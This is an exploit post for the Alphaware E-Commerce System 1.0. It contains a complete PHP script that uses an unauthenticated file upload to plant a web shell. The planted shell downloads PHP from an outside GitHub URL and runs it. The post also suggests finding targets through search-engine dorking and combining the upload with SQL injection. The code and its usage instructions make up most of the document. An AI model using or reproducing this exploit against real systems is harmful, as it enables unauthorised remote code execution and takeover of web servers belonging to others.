Alphaware E-Commerce System 1.0 Code Injection

`=============================================================================================================================================  
| # Title : Alphaware E-CommerceSystem 1.0 php code injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |  
| # Vendor : https://www.sourcecodester.com/php/11676/alphaware-simple-e-commerce-system.html |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] This payload injects php code of your choice into an SHELL.php file.   
  
[+] The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.  
combine this issue with an sql injection to retrieve the randomised name of our uploaded php shell.  
  
[+] save payload as poc.php  
  
[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1  
  
[+] payload :   
  
<?php  
  
function file_upload($target_ip) {  
$file_name = "indoushka.php";  
  
$webshell_payload = "<?php  
\$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';  
\$ch = curl_init();  
curl_setopt(\$ch, CURLOPT_URL, \$url);  
curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);  
\$output = curl_exec(\$ch);  
curl_close(\$ch);  
if (\$output) {  
// Safely include the content of the remote PHP file  
include 'data://text/plain;base64,' . base64_encode(\$output);  
}  
?>";  
  
$post_fields = array(  
'add' => '',  
'product_image' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),  
'product_name' => 'inouva',  
'product_price' => '123',  
'product_size' => '99',  
'brand' => 'N0_name',  
'category' => 'Hackers',  
'qty' => '1'  
);  
  
echo "(+) PHP Code Injection ...\n";  
  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, "http://$target_ip/alphaware/admin/admin_football.php");  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
  
$response = curl_exec($ch);  
curl_close($ch);  
  
echo "(+) Shell uploaded successfully.\n";  
echo "(+) Access the shell at: http://$target_ip/alphaware/photo/$file_name\n";  
}  
  
if ($argc != 2) {  
echo "(+) Usage: php " . $argv[0] . " <target ip>\n";  
echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";  
exit(-1);  
}  
  
$target_ip = $argv[1];  
file_upload($target_ip);  
  
  
[+] Path : http://127.0.0.1/alphaware/photo/  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================  
`